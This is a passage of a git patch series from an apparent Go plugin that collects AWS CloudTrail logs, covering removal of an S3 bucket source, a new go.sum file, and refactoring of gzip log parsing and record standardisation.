*/ - - // Check format of extensions - invalidExtensions := []string{} - for _, e := range s.Config.Extensions { - if len(e) == 0 { - invalidExtensions = append(invalidExtensions, "") - } else if e[0] != '.' { - invalidExtensions = append(invalidExtensions, e) - } - } - if len(invalidExtensions) > 0 { - return fmt.Errorf("invalid extensions: %s", strings.Join(invalidExtensions, ",")) - } - - return nil -} - -func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { - cfg, err := config.LoadDefaultConfig(ctx) - if err != nil { - return fmt.Errorf("unable to load SDK config, %w", err) - } - - s3Client := s3.NewFromConfig(cfg) - paginator := s3.NewListObjectsV2Paginator(s3Client, &s3.ListObjectsV2Input{ - Bucket: &s.Config.Bucket, - }) - - for paginator.HasMorePages() { - output, err := paginator.NextPage(ctx) - if err != nil { - return fmt.Errorf("failed to get page, %w", err) - } - - for _, object := range output.Contents { - if util.IsValidExtension(*object.Key, s.Config.Extensions) { - for _, observer := range s.observers { - observer.NotifyArtifactDiscovered(&source.ArtifactInfo{Name: *object.Key}) - } - } - } - } - - return nil -} - -func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, ai *source.ArtifactInfo) error { - cfg, err := config.LoadDefaultConfig(ctx) - if err != nil { - return fmt.Errorf("unable to load SDK config, %w", err) - } - - s3Client := s3.NewFromConfig(cfg) - getObjectOutput, err := s3Client.GetObject(ctx, &s3.GetObjectInput{ - Bucket: &s.Config.Bucket, - Key: &ai.Name, - }) - if err != nil { - return fmt.Errorf("failed to download artifact, %w", err) - } - defer getObjectOutput.Body.Close() - - data, err := io.ReadAll(getObjectOutput.Body) - if err != nil { - return fmt.Errorf("failed to read artifact data, %w", err) - } - - for _, observer := range s.observers { - observer.NotifyArtifactDownloaded(&source.Artifact{ArtifactInfo: *ai, Data: data}) - } - - return nil -} diff --git a/source/aws_s3_bucket_test.go b/source/aws_s3_bucket_test.go deleted file mode 100644 index 574fca52..00000000 --- a/source/aws_s3_bucket_test.go +++ /dev/null @@ -1,11 +0,0 @@ -package source - -import ( - "testing" - - "github.com/turbot/tailpipe-plugin-sdk/source" -) - -func TestConformance(t *testing.T) { - source.RunConformanceTests(t, &AwsS3BucketSource{}) -} From c1f87052d00d50cfb5c089cc297064fd65a14996 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 19 Jun 2024 15:51:08 +0100 Subject: [PATCH 002/180] go.sum --- go.sum | 94 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 go.sum diff --git a/go.sum b/go.sum new file mode 100644 index 00000000..57117f22 --- /dev/null +++ b/go.sum @@ -0,0 +1,94 @@ +github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d h1:licZJFw2RwpHMqeKTCYkitsPqHNxTmd4SNR5r94FGM8= +github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d/go.mod h1:asat636LX7Bqt5lYEZ27JNDcqxfjdBQuJ/MM4CN/Lzo= +github.com/aws/aws-sdk-go-v2 v1.26.0 h1:/Ce4OCiM3EkpW7Y+xUnfAFpchU78K7/Ug01sZni9PgA= +github.com/aws/aws-sdk-go-v2 v1.26.0/go.mod h1:35hUlJVYd+M++iLI3ALmVwMOyRYMmRqUXpTtRGW+K9I= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1 h1:gTK2uhtAPtFcdRRJilZPx8uJLL2J85xK11nKtWL0wfU= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.6.1/go.mod h1:sxpLb+nZk7tIfCWChfd+h4QwHNUR57d8hA1cleTkjJo= +github.com/aws/aws-sdk-go-v2/config v1.27.9 h1:gRx/NwpNEFSk+yQlgmk1bmxxvQ5TyJ76CWXs9XScTqg= +github.com/aws/aws-sdk-go-v2/config v1.27.9/go.mod h1:dK1FQfpwpql83kbD873E9vz4FyAxuJtR22wzoXn3qq0= +github.com/aws/aws-sdk-go-v2/credentials v1.17.9 h1:N8s0/7yW+h8qR8WaRlPQeJ6czVMNQVNtNdUqf6cItao= +github.com/aws/aws-sdk-go-v2/credentials v1.17.9/go.mod h1:446YhIdmSV0Jf/SLafGZalQo+xr2iw7/fzXGDPTU1yQ= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0 h1:af5YzcLf80tv4Em4jWVD75lpnOHSBkPUZxZfGkrI3HI= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.0/go.mod h1:nQ3how7DMnFMWiU1SpECohgC82fpn4cKZ875NDMmwtA= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4 h1:0ScVK/4qZ8CIW0k8jOeFVsyS/sAiXpYxRBLolMkuLQM= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.4/go.mod h1:84KyjNZdHC6QZW08nfHI6yZgPd+qRgaWcYsyLUo3QY8= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4 h1:sHmMWWX5E7guWEFQ9SVo6A3S4xpPrWnd77a6y4WM6PU= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.4/go.mod h1:WjpDrhWisWOIoS9n3nk67A3Ll1vfULJ9Kq6h29HTD48= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0 h1:hT8rVHwugYE2lEfdFE0QWVo81lF7jMrYJVDWI+f+VxU= +github.com/aws/aws-sdk-go-v2/internal/ini v1.8.0/go.mod h1:8tu/lYfQfFe6IGnaOdrpVgEL2IrrDOf6/m9RQum4NkY= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4 h1:SIkD6T4zGQ+1YIit22wi37CGNkrE7mXV1vNA5VpI3TI= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.3.4/go.mod h1:XfeqbsG0HNedNs0GT+ju4Bs+pFAwsrlzcRdMvdNVf5s= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1 h1:EyBZibRTVAs6ECHZOw5/wlylS9OcTzwyjeQMudmREjE= +github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.11.1/go.mod h1:JKpmtYhhPs7D97NL/ltqz7yCkERFW5dOlHyVl66ZYF8= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6 h1:NkHCgg0Ck86c5PTOzBZ0JRccI51suJDg5lgFtxBu1ek= +github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.3.6/go.mod h1:mjTpxjC8v4SeINTngrnKFgm2QUi+Jm+etTbCxh8W4uU= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6 h1:b+E7zIUHMmcB4Dckjpkapoy47W6C9QBv/zoUP+Hn8Kc= +github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.11.6/go.mod h1:S2fNV0rxrP78NhPbCZeQgY8H9jdDMeGtwcfZIRxzBqU= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4 h1:uDj2K47EM1reAYU9jVlQ1M5YENI1u6a/TxJpf6AeOLA= +github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.17.4/go.mod h1:XKCODf4RKHppc96c2EZBGV/oCUC7OClxAo2MEyg4pIk= +github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0 h1:r3o2YsgW9zRcIP3Q0WCmttFVhTuugeKIvT5z9xDspc0= +github.com/aws/aws-sdk-go-v2/service/s3 v1.53.0/go.mod h1:w2E4f8PUfNtyjfL6Iu+mWI96FGttE03z3UdNcUEC4tA= +github.com/aws/aws-sdk-go-v2/service/sso v1.20.3 h1:mnbuWHOcM70/OFUlZZ5rcdfA8PflGXXiefU/O+1S3+8= +github.com/aws/aws-sdk-go-v2/service/sso v1.20.3/go.mod h1:5HFu51Elk+4oRBZVxmHrSds5jFXmFj8C3w7DVF2gnrs= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3 h1:uLq0BKatTmDzWa/Nu4WO0M1AaQDaPpwTKAeByEc6WFM= +github.com/aws/aws-sdk-go-v2/service/ssooidc v1.23.3/go.mod h1:b+qdhjnxj8GSR6t5YfphOffeoQSQ1KmpoVVuBn+PWxs= +github.com/aws/aws-sdk-go-v2/service/sts v1.28.5 h1:J/PpTf/hllOjx8Xu9DMflff3FajfLxqM5+tepvVXmxg= +github.com/aws/aws-sdk-go-v2/service/sts v1.28.5/go.mod h1:0ih0Z83YDH/QeQ6Ori2yGE2XvWYv/Xm+cZc01LC6oK0= +github.com/aws/smithy-go v1.20.1 h1:4SZlSlMr36UEqC7XOyRVb27XMeZubNcBNN+9IgEPIQw= +github.com/aws/smithy-go v1.20.1/go.mod h1:krry+ya/rV9RDcV/Q16kpu6ypI4K2czasz0NC3qS14E= +github.com/bufbuild/protocompile v0.4.0 h1:LbFKd2XowZvQ/kajzguUp2DC9UEIQhIq77fZZlaQsNA= +github.com/bufbuild/protocompile v0.4.0/go.mod h1:3v93+mbWn/v3xzN+31nwkJfrEpAUwp+BagBSZWx+TP8= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/golang/protobuf v1.5.4 h1:i7eJL8qZTpSEXOPTxNKhASYpMn+8e5Q6AdndVa1dWek= +github.com/golang/protobuf v1.5.4/go.mod h1:lnTiLA8Wa4RWRcIUkrtSVa5nRhsEGBg48fD6rSs7xps= +github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= +github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/hashicorp/go-hclog v0.14.1 h1:nQcJDQwIAGnmoUWp8ubocEX40cCml/17YkF6csQLReU= +github.com/hashicorp/go-hclog v0.14.1/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-plugin v1.6.1 h1:P7MR2UP6gNKGPp+y7EZw2kOiq4IR9WiqLvp0XOsVdwI= +github.com/hashicorp/go-plugin v1.6.1/go.mod h1:XPHFku2tFo3o3QKFgSYo+cghcUhw1NA1hZyMK0PWAw0= +github.com/hashicorp/yamux v0.1.1 h1:yrQxtgseBDrq9Y652vSRDvsKCJKOUD+GzTS4Y0Y8pvE= +github.com/hashicorp/yamux v0.1.1/go.mod h1:CtWFDAQgb7dxtzFs4tWbplKIe2jSi3+5vKbgIO0SLnQ= +github.com/jhump/protoreflect v1.15.1 h1:HUMERORf3I3ZdX05WaQ6MIpd/NJ434hTp5YiKgfCL6c= +github.com/jhump/protoreflect v1.15.1/go.mod h1:jD/2GMKKE6OqX8qTjhADU1e6DShO+gavG9e0Q693nKo= +github.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10 h1:qxFzApOv4WsAL965uUPIsXzAKCZxN2p9UqdhFS4ZW10= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77 h1:7GoSOOW2jpsfkntVKaS2rAr1TJqfcxotyaUcuxoZSzg= +github.com/mitchellh/go-testing-interface v0.0.0-20171004221916-a61a99592b77/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= +github.com/oklog/run v1.0.0 h1:Ru7dDtJNOyC66gQ5dQmaCa0qIsAUFY3sFpK1Xk8igrw= +github.com/oklog/run v1.0.0/go.mod h1:dlhp/R75TPv97u0XWUtDeV/lRKWPKSdTuV0TZvrmrQA= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc= +github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= +github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/tkrajina/go-reflector v0.5.6 h1:hKQ0gyocG7vgMD2M3dRlYN6WBBOmdoOzJ6njQSepKdE= +github.com/tkrajina/go-reflector v0.5.6/go.mod h1:ECbqLgccecY5kPmPmXg1MrHW585yMcDkVl6IvJe64T4= +github.com/turbot/go-kit v0.9.0 h1:7RVIFpHa0vdsh8GMEr4cM+D4jQ7h4pGeFmT2EVG/U5Y= +github.com/turbot/go-kit v0.9.0/go.mod h1:fFQqR59I5z5JeeBLfK1PjSifn4Oprs3NiQx0CxeSJxs= +golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1 h1:k/i9J1pBpvlfR+9QsetwPyERsqu1GIbi967PQMq3Ivc= +golang.org/x/exp v0.0.0-20230522175609-2e198f4a06a1/go.mod h1:V1LtkGg67GoY2N1AnLN78QLrzxkLyJw7RJb1gzOOz9w= +golang.org/x/net v0.22.0 h1:9sGLhx7iRIHEiX0oAJ3MRZMUCElJgy7Br1nO+AMN3Tc= +golang.org/x/net v0.22.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= +golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4= +golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= +golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 h1:NnYq6UN9ReLM9/Y01KWNOWyI5xQ9kbIms5GGJVwS/Yc= +google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237/go.mod h1:WtryC6hu0hhx87FDGxWCDptyssuo68sk10vYjF+T9fY= +google.golang.org/grpc v1.64.0 h1:KH3VH9y/MgNQg1dE7b3XfVK0GsPSIzJwdF617gUSbvY= +google.golang.org/grpc v1.64.0/go.mod h1:oxjF8E3FBnjp+/gVFYdWacaLDx9na1aqy9oovLpxQYg= +google.golang.org/protobuf v1.34.2 h1:6xV6lTsCfpGD21XK49h7MhtcApnLqkfYgPcdHftf6hg= +google.golang.org/protobuf v1.34.2/go.mod h1:qYOHts0dSfpeUzUFpOMr/WGzszTmLH+DiWniOlNbLDw= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= From 2a695317465075ddf003d179e58dfdb41c936875 Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 19 Jun 2024 16:24:04 +0100 Subject: [PATCH 003/180] working on it --- aws/plugin.go | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) diff --git a/aws/plugin.go b/aws/plugin.go index fc24ad25..be5569dc 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -28,6 +28,28 @@ func (t *Plugin) Collect(req *proto.CollectRequest) error { } func (t *Plugin) doCollect(req *proto.CollectRequest) { + // + //"sources": { + // "my_file": { + // "name": "my_file", + // "plugin": "file", + // "config": { + // "path": "/Users/nathan/src/play-duckdb/2023/02", + // "extensions": [] + //} + //} + //}, + //"collections": { + //"my_aws_log": { + //"plugin": "aws_cloudtrail_log", + //"name": "my_aws_log", + //"source": "my_file" + //} + //} + // tactical + //create source and collection + source := &AwsS3BucketSource{} + collection := &AwsCloudTrailLogCollection{} // started hook t.OnStarted(req) From 53225c65cf42187378e151ad25ef6aa3cd7c49cb Mon Sep 17 00:00:00 2001 From: kai Date: Mon, 24 Jun 2024 12:13:25 +0100 Subject: [PATCH 004/180] collection works --- aws/aws_cloudtrail_log_collection.go | 156 ++++++++++++++++----------- aws/plugin.go | 46 +++----- main.go | 4 +- 3 files changed, 110 insertions(+), 96 deletions(-) diff --git a/aws/aws_cloudtrail_log_collection.go b/aws/aws_cloudtrail_log_collection.go index d17ba8cc..b32cc7db 100644 --- a/aws/aws_cloudtrail_log_collection.go +++ b/aws/aws_cloudtrail_log_collection.go @@ -1,7 +1,15 @@ package aws import ( + "compress/gzip" "context" + "encoding/json" + "github.com/rs/xid" + "github.com/turbot/tailpipe-plugin-aws/util" + "os" + "path/filepath" + "strings" + "time" //"github.com/turbot/tailpipe-plugin-sdk/collection" //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" //"github.com/turbot/tailpipe-plugin-sdk/source" @@ -11,6 +19,8 @@ type AwsCloudTrailLogCollectionConfig struct{} type AwsCloudTrailLogCollection struct { Config AwsCloudTrailLogCollectionConfig + + paths []string } func (c *AwsCloudTrailLogCollection) Identifier() string { @@ -29,70 +39,88 @@ func (c *AwsCloudTrailLogCollection) Identifier() string { // return &AWSCloudTrail{} //} -func (c *AwsCloudTrailLogCollection) ExtractArtifactRows(ctx context.Context, a any /**source.Artifact*/) error { - - // TODO implement - //inputPath := a.Name - // - //gzFile, err := os.Open(inputPath) - //if err != nil { - // return err - //} - //defer gzFile.Close() - // - //gzReader, err := gzip.NewReader(gzFile) - //if err != nil { - // return err - //} - //defer gzReader.Close() - // - //var log AWSCloudTrailBatch - //if err := json.NewDecoder(gzReader).Decode(&log); err != nil { - // return err - //} - // - //for _, record := range log.Records { - // - // // Record standardization - // record.TpID = xid.New().String() - // record.TpSourceType = "aws_cloudtrail_log" - // record.TpTimestamp = record.EventTime - // record.TpSourceLocation = &inputPath - // record.TpIngestTimestamp = UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - // if record.SourceIPAddress != nil { - // record.TpSourceIP = record.SourceIPAddress - // record.TpIps = append(record.TpIps, *record.SourceIPAddress) - // } - // for _, resource := range record.Resources { - // if resource.ARN != nil { - // newAkas := util.AwsAkasFromArn(*resource.ARN) - // record.TpAkas = append(record.TpAkas, newAkas...) - // } - // } - // // If it's an AKIA, then record that as an identity. Do not record ASIA* - // // keys etc. - // if record.UserIdentity.AccessKeyId != nil { - // if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { - // record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) - // } - // } - // if record.UserIdentity.UserName != nil { - // record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) - // } - // - // // Hive fields - // record.TpCollection = "default" // TODO - should be based on the definition in HCL - // record.TpConnection = record.RecipientAccountId - // record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) - // record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) - // record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) - // - // //c.Collection.NotifyRow(a, &record) - // for _, o := range c.observers { - // o.NotifyRow(a, &record) - // } - // - //} +func (c *AwsCloudTrailLogCollection) Collect(ctx context.Context, onRow func(row any)) error { + // tactical List all gz files in each path directory and call ExtractArtifactRows for each + for _, path := range c.paths { + // list gz files on path + files, err := filepath.Glob(filepath.Join(path, "*.gz")) + if err != nil { + return err + } + + for _, file := range files { + select { + case <-ctx.Done(): + return ctx.Err() // handle context cancellation + default: + // Call ExtractArtifactRows for each gz file + if err := c.ExtractArtifactRows(ctx, file, onRow); err != nil { + return err + } + } + } + } + return nil +} + +func (c *AwsCloudTrailLogCollection) ExtractArtifactRows(ctx context.Context, inputPath string, onRow func(row any)) error { + + gzFile, err := os.Open(inputPath) + if err != nil { + return err + } + defer gzFile.Close() + + gzReader, err := gzip.NewReader(gzFile) + if err != nil { + return err + } + defer gzReader.Close() + + var log AWSCloudTrailBatch + if err := json.NewDecoder(gzReader).Decode(&log); err != nil { + return err + } + + for _, record := range log.Records { + + // Record standardization + record.TpID = xid.New().String() + record.TpSourceType = "aws_cloudtrail_log" + record.TpTimestamp = record.EventTime + record.TpSourceLocation = &inputPath + record.TpIngestTimestamp = UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + if record.SourceIPAddress != nil { + record.TpSourceIP = record.SourceIPAddress + record.TpIps = append(record.TpIps, *record.SourceIPAddress) + } + for _, resource := range record.Resources { + if resource.ARN != nil { + newAkas := util.AwsAkasFromArn(*resource.ARN) + record.TpAkas = append(record.TpAkas, newAkas...) + } + } + // If it's an AKIA, then record that as an identity. Do not record ASIA* + // keys etc. + if record.UserIdentity.AccessKeyId != nil { + if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { + record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) + } + } + if record.UserIdentity.UserName != nil { + record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) + } + + // Hive fields + record.TpCollection = "default" // TODO - should be based on the definition in HCL + record.TpConnection = record.RecipientAccountId + record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) + record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) + record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) + + onRow(record) + + } return nil diff --git a/aws/plugin.go b/aws/plugin.go index be5569dc..d81f514d 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -5,6 +5,7 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/grpc/proto" "github.com/turbot/tailpipe-plugin-sdk/plugin" "log" + "log/slog" ) type Plugin struct { @@ -15,45 +16,32 @@ func (t *Plugin) Identifier() string { return "aws" } -func NewPlugin(_ context.Context) *Plugin { - return &Plugin{} -} - func (t *Plugin) Collect(req *proto.CollectRequest) error { log.Println("[INFO] Collect") - go t.doCollect(req) + go t.doCollect(context.Background(), req) return nil } -func (t *Plugin) doCollect(req *proto.CollectRequest) { - // - //"sources": { - // "my_file": { - // "name": "my_file", - // "plugin": "file", - // "config": { - // "path": "/Users/nathan/src/play-duckdb/2023/02", - // "extensions": [] - //} - //} - //}, - //"collections": { - //"my_aws_log": { - //"plugin": "aws_cloudtrail_log", - //"name": "my_aws_log", - //"source": "my_file" - //} - //} - // tactical - //create source and collection - source := &AwsS3BucketSource{} - collection := &AwsCloudTrailLogCollection{} +func (t *Plugin) doCollect(ctx context.Context, req *proto.CollectRequest) { + onRow := func(row any) { + t.OnRow(row, req) + } + + //create collection + collection := &AwsCloudTrailLogCollection{ + paths: []string{"/Users/kai/Downloads/flaws_cloudtrail_logs"}, + } // started hook t.OnStarted(req) + err := collection.Collect(ctx, onRow) + // completion hook - t.OnComplete(req, nil) + if err := t.OnComplete(req, err); err != nil { + // TODO #error + slog.Error("error notifying observers of completion", "error", err) + } } diff --git a/main.go b/main.go index f222371c..e1281418 100644 --- a/main.go +++ b/main.go @@ -1,14 +1,12 @@ package main import ( - "context" "github.com/turbot/tailpipe-plugin-aws/aws" "github.com/turbot/tailpipe-plugin-sdk/plugin" ) func main() { plugin.Serve(&plugin.ServeOpts{ - // TODO should we pass func, not object? For dynamic plugins? Will we have those? - Plugin: aws.NewPlugin(context.Background()), + Plugin: &aws.Plugin{}, }) } From 8062555e28fe74cd2953b255d0597c5958ce05b9 Mon Sep 17 00:00:00 2001 From: kai Date: Tue, 25 Jun 2024 13:26:04 +0100 Subject: [PATCH 005/180] split into source and collection --- aws/aws_cloudtrail_log_collection.go | 241 ------------------ aws/plugin.go | 33 +-- aws/types.go | 42 --- aws_collection/cloudtrail_log_collection.go | 95 +++++++ .../cloudtrail_log_collection_config.go | 3 + .../cloudtrail_log_collection_test.go | 4 +- aws_collection/types.go | 1 + aws_source/compressed_file_source.go | 92 +++++++ aws_source/compressed_file_source_config.go | 5 + .../s3_bucket_source.go | 2 +- .../s3_bucket_source_test.go | 2 +- aws_types/aws_cloudtrail.go | 94 +++++++ go.mod | 54 ++-- go.sum | 161 +++++++----- 14 files changed, 434 insertions(+), 395 deletions(-) delete mode 100644 aws/aws_cloudtrail_log_collection.go delete mode 100644 aws/types.go create mode 100644 aws_collection/cloudtrail_log_collection.go create mode 100644 aws_collection/cloudtrail_log_collection_config.go rename aws/aws_cloudtrail_log_collection_test.go => aws_collection/cloudtrail_log_collection_test.go (60%) create mode 100644 aws_collection/types.go create mode 100644 aws_source/compressed_file_source.go create mode 100644 aws_source/compressed_file_source_config.go rename aws/aws_s3_bucket_source.go => aws_source/s3_bucket_source.go (99%) rename aws/aws_s3_bucket_source_test.go => aws_source/s3_bucket_source_test.go (90%) create mode 100644 aws_types/aws_cloudtrail.go diff --git a/aws/aws_cloudtrail_log_collection.go b/aws/aws_cloudtrail_log_collection.go deleted file mode 100644 index b32cc7db..00000000 --- a/aws/aws_cloudtrail_log_collection.go +++ /dev/null @@ -1,241 +0,0 @@ -package aws - -import ( - "compress/gzip" - "context" - "encoding/json" - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/util" - "os" - "path/filepath" - "strings" - "time" - //"github.com/turbot/tailpipe-plugin-sdk/collection" - //sdkconfig "github.com/turbot/tailpipe-plugin-sdk/config" - //"github.com/turbot/tailpipe-plugin-sdk/source" -) - -type AwsCloudTrailLogCollectionConfig struct{} - -type AwsCloudTrailLogCollection struct { - Config AwsCloudTrailLogCollectionConfig - - paths []string -} - -func (c *AwsCloudTrailLogCollection) Identifier() string { - return "aws_cloudtrail_log" -} - -//func (c *AwsCloudTrailLogCollection) LoadConfig(configRaw []byte) error { -// return sdkconfig.Load(configRaw, &c.Config) -//} -// -//func (c *AwsCloudTrailLogCollection) ValidateConfig() error { -// return nil -//} -// -//func (c *AwsCloudTrailLogCollection) Schema() collection.Row { -// return &AWSCloudTrail{} -//} - -func (c *AwsCloudTrailLogCollection) Collect(ctx context.Context, onRow func(row any)) error { - // tactical List all gz files in each path directory and call ExtractArtifactRows for each - for _, path := range c.paths { - // list gz files on path - files, err := filepath.Glob(filepath.Join(path, "*.gz")) - if err != nil { - return err - } - - for _, file := range files { - select { - case <-ctx.Done(): - return ctx.Err() // handle context cancellation - default: - // Call ExtractArtifactRows for each gz file - if err := c.ExtractArtifactRows(ctx, file, onRow); err != nil { - return err - } - } - } - } - return nil -} - -func (c *AwsCloudTrailLogCollection) ExtractArtifactRows(ctx context.Context, inputPath string, onRow func(row any)) error { - - gzFile, err := os.Open(inputPath) - if err != nil { - return err - } - defer gzFile.Close() - - gzReader, err := gzip.NewReader(gzFile) - if err != nil { - return err - } - defer gzReader.Close() - - var log AWSCloudTrailBatch - if err := json.NewDecoder(gzReader).Decode(&log); err != nil { - return err - } - - for _, record := range log.Records { - - // Record standardization - record.TpID = xid.New().String() - record.TpSourceType = "aws_cloudtrail_log" - record.TpTimestamp = record.EventTime - record.TpSourceLocation = &inputPath - record.TpIngestTimestamp = UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) - if record.SourceIPAddress != nil { - record.TpSourceIP = record.SourceIPAddress - record.TpIps = append(record.TpIps, *record.SourceIPAddress) - } - for _, resource := range record.Resources { - if resource.ARN != nil { - newAkas := util.AwsAkasFromArn(*resource.ARN) - record.TpAkas = append(record.TpAkas, newAkas...) - } - } - // If it's an AKIA, then record that as an identity. Do not record ASIA* - // keys etc. - if record.UserIdentity.AccessKeyId != nil { - if strings.HasPrefix(*record.UserIdentity.AccessKeyId, "AKIA") { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.AccessKeyId) - } - } - if record.UserIdentity.UserName != nil { - record.TpUsernames = append(record.TpUsernames, *record.UserIdentity.UserName) - } - - // Hive fields - record.TpCollection = "default" // TODO - should be based on the definition in HCL - record.TpConnection = record.RecipientAccountId - record.TpYear = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Year()) - record.TpMonth = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Month()) - record.TpDay = int32(time.Unix(int64(record.EventTime)/1000, 0).In(time.UTC).Day()) - - onRow(record) - - } - - return nil - -} - -type AWSCloudTrailBatch struct { - Records []AWSCloudTrail `json:"Records"` -} - -type AWSCloudTrail struct { - - // Metadata - TpID string `json:"tp_id" parquet:"name=tp_id, 